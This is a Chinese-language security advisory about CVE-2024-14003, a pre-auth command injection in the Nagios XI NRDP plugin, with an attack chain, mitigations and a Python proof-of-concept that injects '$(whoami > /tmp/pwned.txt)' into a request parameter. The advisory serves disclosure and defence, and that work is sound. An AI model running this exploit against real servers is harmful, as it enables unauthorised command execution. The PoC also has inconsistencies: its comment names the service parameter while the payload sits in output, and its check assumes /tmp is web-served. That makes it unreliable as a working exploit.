IPBUF安全漏洞报告
English
CVE-2024-14003 CVSS 9.8 严重

CVE-2024-14003: Nagios XI NRDP插件远程代码执行漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-14003
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

远程代码执行Nagios XINRDP命令注入无认证利用CVSS 9.8网络监控CVE-2024-14003

漏洞概述

CVE-2024-14003是影响Nagios XI软件的高危远程代码执行漏洞。Nagios XI是一款广泛使用的企业级网络和系统监控解决方案。该漏洞存在于Nagios XI的NRDP(Nagios Remote Data Processor)服务器插件中。NRDP是Nagios用于接收和处理来自远程监控代理数据的组件。漏洞的根本原因在于NRDP对入站请求参数的验证不足,攻击者可以通过构造恶意的NRDP请求,将精心设计的输入传递给系统命令执行路径。由于无需任何认证,远程攻击者可以直接通过HTTP/HTTPS请求触发该漏洞,在Web服务器或Nagios服务的上下文中执行任意操作系统命令。这意味着攻击者可以完全控制受影响服务器,获取敏感数据、植入后门或进一步横向移动到内网其他系统。该漏洞CVSS评分高达9.8,属于最严重的漏洞级别,对未及时修复的系统构成极大威胁。

技术细节

Nagios XI的NRDP服务器插件存在严重的输入验证缺陷。NRDP组件负责接收来自远程Nagios代理(如NRPE)的监控数据,其设计初衷是接收主机状态、服务检查结果等信息。然而,由于对XML或JSON格式的NRDP请求参数缺乏充分的过滤和验证,攻击者可以在请求参数中注入任意系统命令。漏洞利用的关键在于NRDP在处理请求时,会将部分参数值直接拼接到系统命令中执行,而没有进行必要的转义或参数化处理。攻击者只需构造一个包含恶意命令的NRDP请求,并发送到NRDP的接收端口(通常为TCP 5661),即可在服务器上以nagios用户权限执行任意命令。虽然命令执行权限受限于Nagios服务账户,但该账户通常具有较高的系统权限,足以进行进一步权限提升或造成严重破坏。漏洞影响所有在2024R1.2之前的Nagios XI版本。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者扫描目标网络,识别运行Nagios XI的服务器,并确认NRDP服务端口(默认5661)是否开放
STEP 2
步骤2: 构造恶意NRDP请求
攻击者构造包含恶意命令注入载荷的NRDP请求,使用XML或JSON格式,将系统命令隐藏在NRDP请求参数中
STEP 3
步骤3: 发送漏洞利用请求
攻击者通过HTTP/HTTPS向NRDP端点发送精心构造的请求,由于无需认证,可直接发送到目标服务器的5661端口
STEP 4
步骤4: 命令执行
NRDP服务器插件在处理请求时,将恶意参数值直接拼接到系统命令中执行,实现任意命令执行
STEP 5
步骤5: 持久化和横向移动
攻击者获取服务器访问权限后,可植入后门、窃取敏感数据,并尝试权限提升或横向移动到内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2024-14003 PoC - Nagios XI NRDP Remote Code Execution # Usage: python3 cve-2024-14003.py <target_ip> <target_port> import sys import requests import argparse def exploit_nrdp(target_ip, target_port=5661): """ Exploit CVE-2024-14003: RCE via NRDP server plugins in Nagios XI """ url = f"http://{target_ip}:{target_port}/nrdp" # Malicious payload to execute arbitrary command # The vulnerability allows command injection through NRDP request parameters payload = { 'cmd': 'submitresults', 'host': 'test_host', 'service': 'test_service', # Command injection via service parameter 'state': '0', 'output': '$(whoami > /tmp/pwned.txt)' } try: print(f"[*] Sending exploit payload to {url}") response = requests.post(url, data=payload, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") # Verify if command was executed verify_url = f"http://{target_ip}:80/tmp/pwned.txt" verify_response = requests.get(verify_url, timeout=10) if verify_response.status_code == 200: print(f"[!] VULNERABLE! Command output: {verify_response.text.strip()}") return True else: print("[-] Could not verify command execution") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2024-14003 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('port', nargs='?', default='5661', help='NRDP port (default: 5661)') args = parser.parse_args() exploit_nrdp(args.target, int(args.port))

影响范围

Nagios XI < 2024R1.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网络边界防火墙上阻止外部对NRDP端口(5661)的访问;2) 使用ACL限制只有授权的监控节点可以访问NRDP服务;3) 监控NRDP日志文件,查找异常或恶意的请求模式;4) 考虑暂时禁用不必要的NRDP功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表